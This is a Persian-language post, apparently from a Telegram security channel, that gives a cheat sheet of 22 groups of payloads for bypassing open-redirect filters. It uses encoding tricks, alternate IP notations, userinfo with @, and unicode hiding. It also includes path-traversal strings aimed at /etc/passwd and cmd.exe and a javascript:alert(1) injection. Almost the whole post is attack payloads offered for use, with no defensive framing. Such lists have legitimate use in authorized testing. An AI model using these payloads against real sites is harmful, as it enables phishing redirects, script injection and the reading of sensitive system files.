Try Hack Box: “🔖 میتونی این Bypass دستی مؤثر برای open redirect رو امتحان کنی 💢 ۱.…”

🔖 میتونی این Bypass دستی مؤثر برای open redirect رو امتحان کنی

💢 ۱. تزریق Null-byte:
   ⦁ /google.com%00/
   ⦁ //google.com%00

💢 ۲. تغییرات(variations) انکودینگ Base64:
   ⦁ aHR0cDovL2dvb2dsZS5jb20=
   ⦁ aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbQ==
   ⦁ //base64:d3d3Lmdvb2dsZS5jb20=/

💢 ۳. تغییرات حساس به حروف کوچک/بزرگ:
   ⦁ //GOOGLE.com/
   ⦁ //GoOgLe.com/

💢 ۴. توالی های UTF-8 طولانی:
   ⦁ %C0%AE%C0%AE%2F (انکودینگ طولانی برای../)
   ⦁ %C0%AF%C0%AF%2F%2Fgoogle.com

💢 ۵. طرح‌ های انکودینگ مخلوط:
   ⦁ /%68%74%74%70://google.com
   ⦁ //base64:%32%46%32%46%67%6F%6F%67%6C%65%2E%63%6F%6D
   ⦁ //base64:%2F%2Fgoogle.com/

💢 ۶. نوتاسیون‌ های(notations) جایگزین دامنه:
   ⦁ //google.com@127.0.0.1/
   ⦁ //127.0.0.1.xip.io/
   ⦁ //0x7F000001/ (IP هگزادسیمال)

💢 ۷. کاراکترهای خاص Trailing:
   ⦁ //google.com/#/
   ⦁ //google.com/;&/
   ⦁ //google.com/?id=123&//

💢 ۸. فرمت آدرس IP اکتال( Octal ):
   ⦁ http://0177.0.0.1/
   ⦁ http://00177.0000.0000.0001/

💢 ۹. تغییرات آدرس IP:
   ⦁ http://3232235777 (نوتاسیون دسیمال IP)
   ⦁ http://0xC0A80001 (نوتاسیون هگز IP)
   ⦁ http://192.168.1.1/

💢 ۱۰. Path traversal با انکودینگ:
    ⦁ /..%252f..%252f..%252fetc/passwd
    ⦁ /%252e%252e/%252e%252e/%252e%252e/etc/passwd
    ⦁ /..%5c..%5c..%5cwindows/system32/cmd.exe

💢 ۱۱. گنجاندن پروتکل inclusion:
    ⦁ ftp://google.com/
    ⦁ javascript:alert(1)//google.com

💢 ۱۲. URLهای نسبی پروتکل:
    -:////google.com/
    -:///google.com/

💢 ۱۳. موارد لبه redirect:
    ⦁ //google.com/?q=//bing.com/
    ⦁ //google.com?q=https://another-site.com/

💢 ۱۴. نوتاسیون IPv6:
    ⦁ http://[::1]/
    ⦁ http://[::ffff:192.168.1.1]/

💢 ۱۵. انکودینگ دوگانه URL:
    ⦁ %252f%252fgoogle.com (دو بار انکود شده)
    ⦁ %255cgoogle.com

💢 ۱۶. ترکیب traversal و انکودینگ:
    ⦁ /%2E%2E/%2E%2E/etc/passwd
    ⦁ /%2e%2e%5c%2e%2e/etc/passwd

💢 ۱۷. مبتنی بر Reverse DNS:
    ⦁ https://google.com.reverselookup.com
    ⦁ //lookup-reversed.google.com/

💢 ۱۸. پورت‌ های غیراستاندارد:
    ⦁ http://google.com:81/
    ⦁ https://google.com:444/

💢 ۱۹. پنهان‌ سازی یونیکد در مسیرها:
    ⦁ /%E2%80%8Egoogle.com/
    ⦁ /%C2%A0google.com/

💢 ۲۰. پنهان‌ سازی پارامترهای کوئری:
    ⦁ //google.com/?q=http://another-site.com/
    ⦁ //google.com/?redirect=https://google.com/

💢 ۲۱. استفاده از سمبل @ برای userinfo:
    ⦁ https://admin:password@google.com/
    ⦁ http://@google.com

💢 ۲۲. ترکیب userinfo و traversal:
    ⦁ https://admin:password@google.com/../../etc/passwd

@TryHackBox
#بایپس